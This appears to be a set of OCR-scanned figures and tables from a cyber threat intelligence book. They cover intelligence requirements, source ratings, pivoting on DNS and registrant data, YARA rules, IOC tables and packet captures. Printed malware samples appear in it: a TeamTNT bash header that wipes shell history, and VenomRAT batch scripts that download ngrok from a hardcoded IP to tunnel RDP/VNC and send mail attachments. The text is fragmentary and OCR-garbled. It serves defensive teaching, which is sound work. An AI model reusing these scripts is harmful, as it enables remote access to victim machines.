compromise.
Cyber (both criminal and nation-state) What the actor has done provides campaign

context to make key judgments on future
actions and motivations.

Brand Who the actor is targeting, and why.
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#1/bin/bash

#

# TITLE: TeamTNT.Skeleton.sh.txt

# AUTOR: hilde@teamtnt. red

# VERSION: 1.00.0

# DLYIH 28.10.2021

#

3 SRC: https://teamtnt.red/scripte/SetupWithBash.sh
#

# DONATE_XMR:
46W59P1ibkXQckX7LtXT8p4ircXZgDLVR8fZtpS9ZLBbz9hjFhQwijwdi5chKAco59VVUQHSqjpkUuZMYa2J66AKUDUHiIRrU
#

if [ "$(hostname)" = "HaXXoRsMoPPeD" ]; then exit ; fi

ulimit -n 65535

export LC_ALL=C.UTF-8 2>/dev/null 1>/dev/null

export LANG=C.UTF-8 2>/dev/null 1>/dev/null

LC_ALL=en_US.UTF-8 2>/dev/null 1>/dev/null
HISTCONTROL:"igng[gggggss{HISTCONTROL:+:$HISTCONTROL)" 2>/dev/null 1>/dev/null
export HISTFILE=/dev/null 2>/dev/null 1>/dev/null

HISTSIZE=0 2>/dev/null 1>/dev/null

unset HISTFILE 2>/dev/null 1>/dev/null

export PATH=$PATH:/var/bin:/bin:/sbin:/usr/sbin:/usr/bin
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Priority | Key Description/ | Requesting | Mapped | Mapped | Applicable | Collection Desired Interval
Rationale Entity GIR FCR Data Types | Systems Output

P1 PCR-004 | Threats to C-Suite GIR-002, | FCR-923 | Executables | Twitter feeds, | Monthly Every 30
the banking 006 (PE32/ pastebin posts, | executive days
sector PE64), underground | briefing to

Android monitoring, CISO and

APKs, internal SIEM | direct reports

Emails, involving direct

Microsoft threat activity

Office files targeting the
banking sector
from the month
prior.

P3 PCR-003 | Nation-state | SOC GIR-001, | FCR-032, | Microsoft SIEM, threat The SOC is Every 90
espionage 002 FCR-113 | Office files, | feeds, industry | interested days
attacks webshells blogs, HIDS/ in receiving
targeting NIDS/EDR enriched
telecom logs reports
companies regarding

nation-state
espionage
attackers
targeting
telecom

companies.
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Indicator/Observable Indicator Type Description
S5b5e82e79c52452b2d03a4fa83b95bbeecB8adblafd97edd9999a77d26£5488b4 | SHA-256 $77-Venom.
exe
dl9ac2919e6b9e3b63ef7835d32ebB8445c8e6308ef21c33eee7b437697a3d774 | SHA-256 Cpanel Cracker by
Bk.exe
Venomcontrol .com Domain Sales website for
the VenomRAT
builder
narrow-ink.auto.playit.gg URL DNS beacon from
the VenomRAT
sample
payloads-poison.000webhostapp.com URL C2
91.134.207.16 IP address Hardcoded IP in
the VenomRAT

sample
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Confirmed Confirmed by other independent sources; logical in itself;
consistent with other information on the subject.

Probably true Not confirmed; logical in itself; consistent with other
information on the subject.

Possibly true Not confirmed; reasonably logical in itself; agrees with
some other information on the subject.

Doubtfully true Not confirmed; possible but not logical; no other
information on the subject.

Improbable Not confirmed; not logical in itself; contradicted by other
information on the subject.

Cannot be judged No basis exists for evaluating the validity of the

information.
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Malicious | Threat Hunting and Pivoting Opportunity Example
File Pivot
Original This is exactly what it sounds like: the name unknown. tmp
Filename of the file that has been collected or created by
executing a payload. The key thing about the
filename is to use it as a pivot foothold, and
ensure that there is enough uniqueness and not
something very generic that could cause a large
volume of false positives.
File Size This is exactly what it sounds like as well. The | 132.38 KB
compiled executable's size is a natural indicator
of the malicious payload. (135, 5520byis)
File Type In Chapter 7, Technical Threat Analysis: Portable Executable
Enrichment, we introduced you to the (PE)
concept of a file signature, a byte sequence
in the header of the file that would help you
determine the file type.
PE File In an executable file, there is a 4-byte structure |[2019-05-21 07:47:00
Compilation | within the file header section that contains a
Timestamp | file's TimeDateStamp, or what is sometimes
referred to as the file's compilation timestamp.
This entry is written to the file by the compiler
at compilation. The value is stored in epoch
time, which is the number of seconds from
January 1, 1970.
Program When malware projects are compiled with E:\windows\
Database symbol debugging information, these dropperNew\
(PDB) Path | descriptive names appear in the PDB path Debug\
when a malware project is given a descriptive | testShellcode.
name by the malware author. pdb
Mutex In Windows programming you can use 2gvwnqjzl
Strings a mutex object, which is referenced by a string,

to protect a shared resource from simultaneous
access by multiple threads or processes in the
operating system. Malware sometimes uses
mutex objects to ensure that its existence is
only owned by one thread in the operating
system so that it does not attempt to reinfect
the operating system if a version of itself
already exists.
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F3EAD STEP

STAGE EXPLANATION

INTELLIGENCE VALUE

Find

The find stage is the equivalent of the
preparation phase in the IR life cycle. In
the find stage, organizations will determine
threats that they need to examine more
closely.

Threat intelligence can assist in the find stage of
F3EAD to assist in developing the threat profiles of
common attackers against organizations that are, for
example, in similar industry verticals.

Fix The fix stage is similar to the identification Threat intelligence throughout the fix stage is
stage of the IR life cycle in that the fix stage practical and useful. Since this stage is primarily
is focused on identifying the adversary focused on the identification of that attacker, the
operating throughout the organization. This | threat intelligence team can directly assist in this
stage's foundational knowledge base is from | stage, for example, by writing Snort rules to help
the find stage. hunt through telemetry data to identify the presence

of C2 traffic.

Finish The finish stage is the core of the IR work. Since the finish stage encompasses many different
This stage involves acting against the threat IR stages, intelligence is often found throughout.
actor all the way through recovery from the However, specifically, it's important for threat
incident. Functionally speaking, this stage intelligence analysts or researchers to pivot on threat
encompasses the containment, eradication, actor activity, and attempt to identify additional
and recovery phases of the IR life cycle. At nefarious acts. Additionally, threat analysts should
this point in the F3EAD life cycle, we've only | enrich threat intelligence data pertaining to the
covered IR comparisons. threat actor and any additional TTPs.

Exploit The exploit phase is the first phase that can be | The intelligence value of the exploit phase is vast
compared to the threat intelligence life cycle. | since the primary focus of exploitation is on
The exploit phase can be directly compared collection. Specifically, this stage could include a
to the collection phase of the intelligence threat analyst performing historical threat actor
life cycle. The goal of this stage is to gather analysis to build a technical and contextual profile,
information that could be useful for the more | enabling additional proactive alerting and blocking.
intelligence-focused stages of analysis and
dissemination. This involves the collection of
indicators such as malware samples, domains,

URLs, and any other indicator types.

Analyze The analyze phase maps directly to the Again, because the focus of the analyze phase
analyze phase of the intelligence life cycle. is analysis, an example of the intelligence value
The analyze phase is meant to add context to | added during this stage involves a threat analyst
data that is collected during the exploit phase. | performing static and dynamic malware analyses on

a sample identified during an active incident.

Disseminate The dissemination phase involves the An example of the value of intelligence in the

dissemination of tactical and strategic
intelligence. Depending on the audience, this
dissemination could be technical in nature
or more high-level. Often, this stage involves
a contextualization of the attack to include
things such as timelines and reporting.

dissemination phase is via the production of
timely, relevant, accurate, actionable, and concise
intelligence. This is most often done in the form of
a report or a contribution to a report, specifically
with the contextualization of the threat actor, their
motivations, and further actions.
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FCR FOCUSED PRIORITY | DESCRIPTION REQUESTING | DEFINED |[SCOPE |DATA |OUTPUT

IDENTIFIER | COLLECTION TEAM OR GIR TYPE
REQUIREMENT INDIVIDUAL

1.0 Ransomware High Collecting Nele GIR 1.1 External |PE32/ | The security
binaries ransomware and 1.2 PE64 engineering

family binaries to
proactively block.

team hashes
for blocking
purposes.
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rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
{
meta:
Author = "CISA Code & Media Analysis"
Incident ="10328929"
Date ="2021-03-17"
Last_Modified = "20210317_2200"
Actor ="n/a"
Category = "Trojan WebShell Exploit CVE-2021-27065"
Family = "HAFNIUM"
Description = "Detects CVE-2021-27065 Exchange OAB VD MOD"
MD5_1 = "ab3963337cf24dc2ade6406f11901e1f"
SHA256_1 ="c8a7b5ffcf23c7a334bb093ddal19635ec06ca81f6196325bb2d811716¢90f3c5"
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] Acoly y filte G =3 ~) Bxpression..  +
No. Time Source Destination Protocol  Length Info =
4 0.025749 172.16.0.122 .121.1.131 54 [TCP Window Update] [TCP ACKed unseen segment] 80 - 10554 [ACK] Se:
5 0.076967 g g 1454 [TCP Previous segment not captured] [TCP Spurious Retransmission] 16.
6 0.076978 . 00. 54 [TCP Dup ACK 2#1] [TCP ACKed unseen segment] 80 » 10554 [ACK] Se
7 0.102939 - 31 . 1454 [TCP Spurious Retransmission] 10554 - 89 [ACK] Seq=5601 Ack=1 Win=65.
8 0.102946 . : 54 [TCP Dup ACK 2#2] [TCP ACKed unseen segment] 80 - 10554 [ACK]
9 0.128285 - .16.0. 1454 [TCP Spurious Retransmission] 10554 » 80 [ACK] Seq=701 Ack=1
0.128319 g 54 [TCP Dup ACK 2#3] [TCP ACKed unseen segment] 89 » 10554 [ACK]
0.154162 . : 1454 [TCP Spurious Retransmission] 10554 » 89 [ACK] Seq=8401 Ack=1
0.154169 S 5 54 [TCP Dup ACK 2#4] [TCP ACKed unseen segment] 80 - 10554 [ACK]
0.179906 : .16.0. 1454 [TCP Spurious Retransmission] 10554 » 80 [ACK] Seq=9801 Ack=1
0.179915 200. 54 [TCP Dup ACK 2#5] 80 » 10554 [ACK] Seq=1 Ack=11201 Win=63000 Len=0
0.207145 200.121.1.131 .16.0.122 1454 10554 ~ 80 [ACK] Seq=11201 Ack=1 Win=65535 Len=1400 [TCP segment of .. ——
16 0.207156 172.16.0.122 200.121.1.131 TP 54 80 » 10554 [ACK] Seq=1 Ack=12601 Win=63000 =
17 0.232621 200.121.1.131 172.16.0.122 TP 1454 10554 » 80 [ACK] Seq=12601 Ack=1 Win=65535 Len=1400 [TCP segment of .
18 0.232629 172.16.0.122 200.121.1.131 Tce 54 89 - 10554 [ACK] —

19 0.258365 200.121.1.131 172.16.0.122 TP 1454 10554 » 80 [ACK]
20 0.258373 172.16.0.122 200.121.1.131 TCP 54 80 » 10554 [ACK] Seq=1 Ack=15401 Win=63000

400 [TCP segment of ..

Frame 15: 1454 bytes on wire (11632 bits), 1454 bytes captured (11632 bits) -
Ethernet II, Src: Vmware_c0:00:01 (00:50:56:¢0:00:01), Dst: Vmware_42:12:13 (00:0c:29:42:12:13)
Internet Protocol Version 4, Src: 200.121.1.131, Dst: 172.16.0.122

v Transmission Control Protocol, Src Port: 10554, Dst Port: 80, Seq: 11201, Ack: 1, Len: 1400

Source Port: 10554

Destination Port: 80

[Stream index: 8]

[TCP Segment Len: 1400]

Sequence number: 11201  (relative sequence number)

[Next sequence number: 12601  (relative sequence number)]
Acknowledgment number: 1  (relative ack number)

0101 .... = Header Length: 20 bytes (5)

0020 00 5c 30 08 e2 e2 ee bf 50 10 P\ o 3 ~
FF £f bc Se 00 00 42 4f 78 42 56 35 6a 45 52 52 BO XBVSFERR
71 5a 69 63 39 34 54 77 48 4c 71 46 51 34 78 35  qZic94Tw HLQFQ4X5
61 62 46 30 77 55 6e 59 73 46 2b 67 6C 44 47 4c  abFOWUNY sF+glDGL
33 56 75 35 65 61 33 4d 44 59 77 49 70 63 32 44  3VuSea3M DYWwIpc2D
78 4c 44 4d 74 38 6b 2f 75 42 68 38 6a 48 6d 30  xLDMt8k/ uBh8jHmO
63 66 54 63 69 35 6a 77 77 4c 2f 56 4c 6f 6c 41  cfTciS5jw wL/VLolA
57 4c 6c 35 63 43 79 de 6d 63 36 52 70 58 57 7a  WL1SCCyN mc6RpXWz

@ 7 Acknowledgment number (tcp.ack), 4 bytes Packets: 3083 - Displayed: 3083 (100.0%) Profile: Default
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LIFE CYCLE STEP

AN INTELLIGENCE VALUE EXAMPLE

Prepare

During the preparation stage, threat intelligence can help inform you where
an incident might occur. Additionally, the threat intelligence team provides
intelligence to IR and other functions in terms of industry-targeted trends
and more. Also, threat intelligence is often involved in the preparation stage
by way of threat hunting through organizational logs and telemetry data that
could be indicative of an attack. Sometimes, threat intelligence analysts are
the first ones to unveil an active attack.

For example, a threat intelligence team identifies legitimate corporate
credentials circulating in an underground forum as part of the threat
analyst's daily tasks. The threat intelligence team can notify the IR team to
be on the lookout for any attempts at password spraying or similar brute-
force style attacks while also prompting organizational password changes.

Identification

During the identification phase of the IR life cycle, incident responders are
looking for additional information about a confirmed incident occurring
in the environment. This naturally leads to the involvement of threat
intelligence, as incident responders start to gauge the depth and breadth of
the incident and corresponding attacker. This involves threat intelligence
analysis, identifying artifacts and indicators of attack, analyzing the
indicators against known attack types or actors, and correlating this to
campaigns, where possible.

For example, during an active incident, if an incident responder identifies a
URL being used as a Command-and-Control (C2) server from an infected
host, the threat analyst can attempt to attribute the C2 infrastructure to

any known or historical activity groups. This historical knowledge can help
frame the attacker's Tactics, Techniques, and Procedures (T'TPs), which
can facilitate wider proactive blocking and hunting based on those historical
indicators.

Containment

Often, the containment phase in the IR life cycle involves the short- and
long-term containment of the threat. Due to this, threat intelligence can,
and often does, play an important role during this phase of the IR life cycle.
During containment, any available threat intelligence related to the event

is reviewed to assist with providing context to the active threat activity. For
example, this can appear in the form of performing malware analysis all the
way to including telemetry log analysis. Additionally, in the containment
phase, threat intelligence can provide a vital role in finding related threat
activities that might prove vital to further identifying threat actor activities.

For example, a threat intelligence analyst can pivot on indicators found
during an active incident and hunt for additionally related observables

or indicators, such as additional C2 infrastructure or malware. Then, this
additionally identified activity can be more broadly and proactively hunted
throughout the organization in an attempt to contain the threat activity.
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during the dynamic execution of the malware
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File-Based | During the execution of a malware sample File created:
Behavior in your dynamic analysis environment, there
: C:WINDOWS\
are several file-based actions that should be winboot . exe
identified, validated, and tracked. This includes ’
any files that have modified attributes, files
that have been modified, files that have been
written to the operating system, and files that
have been deleted. For any of these files, note
the action taken, the path of the file, and the
filename.
Registry- Like file-based behavior, registry-based Registry write
Based behavior is the activity in the Windows registry
Behavior during the execution of a malware sample. pati;
There are different types of registry activities SOFTWARE\
that should be identified, validated, and Microsoft\
tracked. These include any instance where the ;
. : CurrentVersion\
payload queries a value from a registry key, Run\
modifies the value of a registry key, creates a
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key. Again, note the action, the registry path, lue:
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VirusTotal Query Example

Intelligence Value

Submitter:US positives:5+
(tag:docx)

Shows files submitted from the US, with five
or more antivirus detections that are docx
file types.

Name:payload positivies: 5-

Shows files named payload that have less
than five antivirus detections.

Submitter: IN name:Pakistan
positives:2+

Examines files that were submitted from
India that include the name Pakistan in the
filename, which had more than two antivirus
engines detecting the sample as malicious.

Content:”click enable
editing”

Detects malicious documents that ask
prospective victims to enable macros.

content:”] Shellcode”

Queries for shellcode present in files.

similar-to:<hashofthefile>

Queries to find similar files using the
VirusTotal Feature Hash, which is an internal
hashing function used by VirusTotal.

imphash:<Import table hash>

Queries to find other files sharing the same
import table hash.

main icon dhash:<icon hashs>

Queries to find files that share icons or
thumbnails.
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corresponding
data.
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threat intelligence JSON or XML XML
data should have feed.
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$a = “stringfrommalware” wide | This matchesthe Unicode strings that are
separated by null bytes.

$a = “stringfrommalware” wide | This modifier allows the rule to match with

ascii Unicode and/or ASCII characters.

$a = “stringfrommalware” This modifier matches the string,

nocase regardless of the case of the strings.
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Registrant
Information

Intelligence Value

Name

The registrant's name of the individual or organization registering
the domain can sometimes be unredacted. This information could
be the legitimate name of the actor or a pseudonym. This data can
be used by a CTI analyst to pivot on additional registered domains
from the registrant's name, for example.

Organization

The registrant organization will sometimes be valid, invalid, or
completely fabricated. However, even if the organization is fabricated
or invalid, this can still provide the foundation for a pivot.

In some cases, for example, the registrant organization is used

as some form of campaign code for command-and-control
infrastructure, making it easier to identify a threat campaign. A CTI
analyst could look for any other domains that have been registered
by the same organization, for example.

Street

Similar to the organization, the registrant's street information can be
valid, invalid, or altogether fabricated. Registrant street information
can be used as a pivot point for identifying infrastructure further.

In this case, a CTT analyst could look for other domains registered to
that same registrant street address, for example.

Registrant
Phone

Similar to that of the registrant's street, name, and organization, the
registrant's phone numbers are often invalid or redacted for privacy
purposes. However, in the cases where this data is available, it could
be used to identify other domains that have been registered with the
same phone number.

Often, valid phone numbers are included in registrant information
as the result of threat actor OPSEC failures.

Registrant
Email

Registrant email addresses, when present and not redacted or
inaccurate, provide some of the most valuable pieces of intelligence
about a domain. A CTT analyst can track and pivot off the registrant
email address to look for the related infrastructure that was
registered with that same registrant email address.
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1.0 HIGH Ransomware What methods are threat actors
distribution, using to distribute and install
installation, ransomware? Regional breakdowns
and hosting are helpful if possible.
infrastructures.

What are the new or changing
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that are becoming less popular)?
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running malware distribution/
installation services or affiliation
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where possible)?

What scale do individual services
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How capable/successful are various
distribution methods or services
(for instance, installation rate,
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Passive DNS
Information

Intelligence Value

Subdomains

A subdomain is an additional part of the main domain name and is
created to help navigate across the different sections of a website, such
as drive.google.com for Google Drive or maps .google.com
for Google Maps.

There can be many subdomains on the main domain, making them a
valuable resource for analysts and researchers. While there are many
legitimate uses for subdomains, they are also often used by threat
actors to help set up, organize, and direct victims to specific portions
of their website, such as downloads. cyberthreats.com.

Knowing the subdomains of malicious infrastructure can give
additional pivot points to look for related malware or artifacts across
the environment, as an example. Knowing these subdomains also
provides further blocking or monitoring throughout the security
technologies that have been deployed.

Additionally, because the individual in control of the infrastructure
can create any subdomain they wish, it's quick and easy to determine
if the threat actor is attempting to spoof a legitimate domain, such as
login.bankofamerlca.com

Nameservers

Similar to what we've witnessed with nameserver information in
DNS data, nameservers within passive DNS data can provide a
similar intelligence value. One additional note about nameservers
is their ability to determine if a threat actor is using dynamic DNS
services, such as no-ip (https://www.noip.com) or DuckDNS
(https://www.duckdns.org).
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rdp.bat

set downloadURL=http://91.134.207.16/ngrok.exe

set logFile=%TEMP%\proclog.txt

set exeFile=%TEMP%\ngrok.exe

powershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/ngrok.exe’', '%exeFile%’);
texeFile$ authtoken

texeFile% tcp 3389 > %$logFile%

vnc.bat

texeFile% tcp 5900 > %$logFile%

/k start /b powershell

ExecutionPolicy Bypass -WindowStyle Hidden Set-ExecutionPolicy Unrestricted & exit
email.bat

@ECHO OFF

SET GmailAccount=

SET GmailPassword=

SET Attachment=

CALL :PowerShell

CD /D %PowerShellDir%

Powershell -ExecutionPolicy Bypass -Command & '$PSScript%' '$GmailAccount$%' '%GmailPassword$%' '$Attachment$’
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Information
CNAME A canonical name (CNAME) record is a record in DNS that maps

one domain name, called the alias, to another, or the canonical
name. While legitimate and illegitimate uses exist, CNAMEs can
also provide a valuable intelligence point to a researcher or analyst.
Pivoting oftf a CNAME can often yield additional infrastructure that
uses that ssme CNAME. Additionally, CNAMEs can often be used to
identify specific types of attacks, such as typo squatting.

First and Last
Seen

First and last seen dates are critical when analyzing pDNS data. First
and last seen times are simply the first and last times the record or
change has been seen. Using the first and last seen dates facilitates
correlation across other activity sets or can help define the start

and end times of a campaign. Similar to what we've seen with other
singular pieces of data, the first and last seen times are not direct
indicators of maliciousness and should only be analyzed under that
assumption.

Historical IP
Addresses

Historical IP addresses are another fundamental piece of intelligence
data provided by pDNS. Historical IP addresses are a historical
representation of IP addresses that have hosted the domain in
question. Historically hosted IP addresses help answer the initial
question of what IPs has this domain lived on in the past? This can be a
great correlation point when you're performing threat analysis across
campaigns or threat actors.

In some cases, threat actors will migrate back to previously leveraged
infrastructure in other campaigns, which may sometimes involve
entirely different malware.
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RATING ‘
A Reliable No doubt of authenticity, trustworthiness, or competency; has
a history of complete reliability
B Usually Minor doubt about authenticity, trustworthiness, or
reliable competency; has a history of valid information most of the time
C Fairly reliable | Doubts about authenticity, trustworthiness, or competency, but
has provided valid information in the past
D Not usually Significant doubt about authenticity, trustworthiness, or
reliable competency but has provided valid information in the past ‘
E Unreliable Lacking in authenticity, trustworthiness, and competencys;
history of invalid information
F Cannot be No basis exists

judged
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FIN7 has custom-developed malware for use in its
T1587.001 | Develop capabilities: Malware operations.

Exfiltration over web service: Exfiltration | FIN7 has exfiltrated stolen data to public file-sharing

T1567.002 | to cloud services sites.
FIN7 has exploited ZeroLogon (CVE-2020-1472)
T1210 Exploitation of remote services against vulnerable servers.
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T1105 Ingress tool transfer execute on victim machines.
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ANALYSIS

9]—! 1 @ Sandbox +  BjQuickScans ~  [WFile Collections W Resources ~

Advanced Search (YARA)

1+ fule anchor_dns_icmp_transport {

2- et
3 description = "Rule to detect AnchorDNS samples based off ICMP transport st
4 author = "NCSC"

5 hash = "056f326d90b960ed02356b34a6dcd72d7180f c83"

6 strings:

I $ = "reset_connection <- %s"

8 $ = "server_ok <- ¥s (packets on server %s)"

9 § = "erase successfully transmitted packet (count: %d)"

10 $ = "Packet sended with crc %s -> %s”

1 $ = “send data confimation to server(¥s)"

2 $ = "data recived fron <- %s"

13 $ = "Rearmost packed recived (id: %s)"

14 $ = “send poll to server -> : ¥s"

15+ condition:

16 Cuint16(8) == OxSA4D and uint16(uint32(0x3c)) == 8x4550) and 3 of them

17 3}

18

© Request Info ~ Q_ IP, Domain, Hash..

File type
Any file type

First seen after this date
ex.2021-12-13

First seen before this date
x.2021-12-19

Minimum file size

x 10000, 12KB, 2.09MB, 2GB

Maximunm file size

x 10000, 12KB, 2.09MB, 2GB

Ol consent to the Terms & Conditions and Data Protection Policy *

Q  HuntSamples

x
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Malicious Infrastructure Pivot

Threat Hunting and Pivoting Quick Win

Registrant Contact Information

When not masked or obfuscated, registrant
information is a wonderful pivot point that often
unearths additional malicious infrastructure. Some
key data points to pivot off include first and last
names, email addresses, and phone numbers.

SSL Certificate

SSL certificates are used by website administrators
to help either verify authenticity and identity or
to help appear more authentic if theyre leveraged
by a threat actor. Specifically, pivoting on SSL
certificate data such as serial number, subject
common name, and subject organization name.
Tools such as Censys.io and Shodan are great for
pivoting on certificate details.

Subdomains

Subdomains can be pivoted on in several datasets
if they are unique enough. As an example,

if a subdomain on the malicious domain is
unique, there’s a possibility to search for related
infrastructure off the unique subdomain.

Hosted Domains on an IP

Pivoting off the hosted IP of a domain can unearth
additional threat actor-controlled domains hosted
on the same IP address. While not always the

case, IP addresses with lower numbers of domains
hosted on them are usually better indicators that
they could be good pivot points.

Hosted Files

Searching for a file that has been hosted on
malicious infrastructure across a wide dataset

can help paint a picture of a campaign and other
live malicious infrastructure. Using a tool such as
urlscan.io, an analyst can quickly pivot off a hosted
file on other infrastructure.
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IDENTIFIER | PRIORITY | INTEL DESCRIPTION
REQUIREMENT
1.0 HIGH Phishing-based What URLs are being used to lure

account credential
theft information
used to block
nefarious phishing
email senders

victims to scam sites in an attempt
to steal account credentials?

What email addresses are being
utilized to send phishing messages
to users?
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Import from Another Program

Thunderbird lets you import mail messages, address book entries, feed subscriptions, preferences,
andor filters from other mail programs and common address book formats.

2] Import

About Mozilla Thunderbird

Thunderbird is the leading open source, cross-platform email and calendaring client, free  Thunderbird is funded by users like you! If you like Thunderbird, please consider
for business and personal use. We want it to stay secure and become even better. A 'making a donation. The best way for you to ensure Thunderbird remains available is to
donation will allow us to hire developers, pay for infrastructure, and continue to improve.  make 2 donation.
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Malicious | Threat Hunting and Pivoting Opportunity Example
File Pivot
API As we described in the previous chapter, every | Library: ADVAPI32.
Function malware sample is utilizing functions that DLL
Calls belong to Yarious libraries that exist w?thin RegOpenKeyExA
the operating system. These are the Windows
API functions that can be utilized to interact RegQueryValueExA
with the operating sys'fem. .As an example, a RegCloseKey
malware author doesn't write the functionality
to parse the Windows Registry and make
a modification, they utilize the library that
makes these functions available. Document
both the library and the used functions.
Shell Threat actors themselves utilize the shell “C:\Program
Commands | command for execution but have also been Files (x86)\
known to deploy malware payloads that can Microsoft
utilize script interpreters during execution. Office\Officel4\
This includes shell, Visual Basic, Python, WINWORD.
and JavaScript. The utilization of the shell in EXE” /t / d
an operating system can be instantiated via ggi}FrubU@ NBc.

remote services such as SSH, as an example. If
you can track the shell history, attempt to keep
the commands that are run during malware
execution.
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ssdeep Project | ssdeep Online Demo

Jors e | s Lo |

About this Demo

In this page, you can test some features of ssdeep online. It does not upload your data to some remote server but requires modern Web technologies such as...
+ WebAssembly
* Web Workers

Enjoy!
If it has stopped without any error messages, try reloading the page.
Demo: Fuzzy Hash Generator
Options
Display file names on output
Input
[Reset | [ Choose Files | e34293a71...b8877a7d7d

Output

* 12288:Bz4ubzCXMtdUKat+YH7/yJ2je3rojGvB/WaEYVWN: pjOMtdla/y13K03jU,"e34293a710d13999dd019e3f19a84eb67a8adadf14a1e3ddbi7f5cb8877a7d7d"
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© Sandbox ~  BjQuickScans ~ I File Collections B8 Resources ~

Advanced Search (YARA)

1+ rule APT_Webshell_1_jsp [f

strings:
$51 = "Runtine.getRuntine(). exe:(rtmest getParameter("
$52 = “request.getParaneter(\"pnd\"

$53 = “while((amin.read(b))! ur

condition:

filesize < 25KB and 2 of them

bl

@ Requestinfo ~ [ Q IP, Domain, Hash.

File type
*64-bit Portable Executable (PE64)
First seen after this date
2020-11-01
First seen before this date
x.2021-11-19
Minimum file size
x.10000, 1.2K8, 2.09MB, 2GB
Maximun file size

€x.10000, 1.2KB, 2.09MB, 2GB
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Intelligence type | Audience example | Typical length of Example
intelligence value intelligence
Tactical SOC management Shorter-term use Attacker TTPs
and applicability
Strategic High-level Longer-term use and | High-level
executives and applicability information on
management attackers and threat
landscape
Operational Security manager Shorter-term use Information
and applicability pertaining to the
specifics of an
incoming attack
Technical SOC staff Mid-term use and Specific IOCs

applicability
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SSL blacklist

ABUSE,

JA3 Fingerprint / Browse

JA3 Fingerprints

You can find further information about the JA3 fingerprint Occle84568e471aald62ad4158ade6bs, including the corresponding malware samples as well
as the associated botnet C&Cs.

Database Entry

JA3 Fingerprint: 0Occ1e84568e471aald62ad4158ade6bs
First seen: 2018-06-24 10:50:47 UTC

Last seen: 2021-06-2102:35:57 UTC

Status: Blacklisted

Malware samples: 46

Destination IPs: 77

Malware:
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Threat Actor

Common Motivation Example

Nation State

Intelligence gathering (for example, an attacker seeking military
technology)

Cybercriminal Financial or profit (for example, a ransomware group
compromising a large retailer to extort and ransom
the victim)

Hacktivist Ideological beliefs (for example, hackers performing a SQL

injection attack on a political party's website)

Terrorist Groups

Ideological/terrorism (for example, a terrorist group DDoSing an
opposing government's web presence)

Thrill Seeker Bragging rights/for fun (for example, a script kiddie defacing
a news outlet's website)
Insider Threats Revenge (for example, an employee that was fired taking company

trade secrets with them on a USB drive)
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6155 “unknowndere 1080 #ReglreateKey  HKLM\Hardware\IDE SUCCESS  Desied Access: Al
§155. “unknown3ess 1080 @RegSetvalue  HKLMAHARDWARENDE\ % WG LR SUCCESS  Type: REG_SZ,Le.
6155 “unknowndere 1080 #ReglreateKey  HKLM\Hardware\IDE SUCCESS  Desied Access: Al
6155, Turknonndexs 1080 @RegSetvalue  HKLMHARDWARENDE Y jiodgZoKs SUCCESS  Type: REG_SZ,Le.
6155 “unknowndere 1080 #ReglreateKey  HKLM\Hardware\IDE SUCCESS  Desied Acoess: Al
6155, Curknonndexs 1080 @RegSetvalue  HKLMHARDWARENDEY jiodgZAoKs SUCCESS  Type: REG_SZ,Le.
6155 “unknowndere 1080 #ReglreateKey  HKLM\Hardware\IDE SUCCESS  Desied Access: Al
6155, “unknowndere 1080 @%RegSetvalus  HKLM\HARDWAREDE\haéLE4E. SUCCESS  Type: REG_SZ,Le.
6155 “unknowndere 1080 #Reglreateey  HKLM\Hardware\IDE SUCCESS  Desied Access: Al
6155, “unknowndese 1080 @%RegSetvalue  HKLMAHARDWAREDENSMIT ik =0 SUCCESS  Type: REG_SZ,Le.
6155, = unknown3.exs 1080 @ RegCreateKey  HKLMA\SOFTWARE Microsoft\Windows'\Cunent/ersionRun SUCCESS  Desited Acoess: Al
, L.
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disclosure publicly and widely. Copyright | being posted on an information
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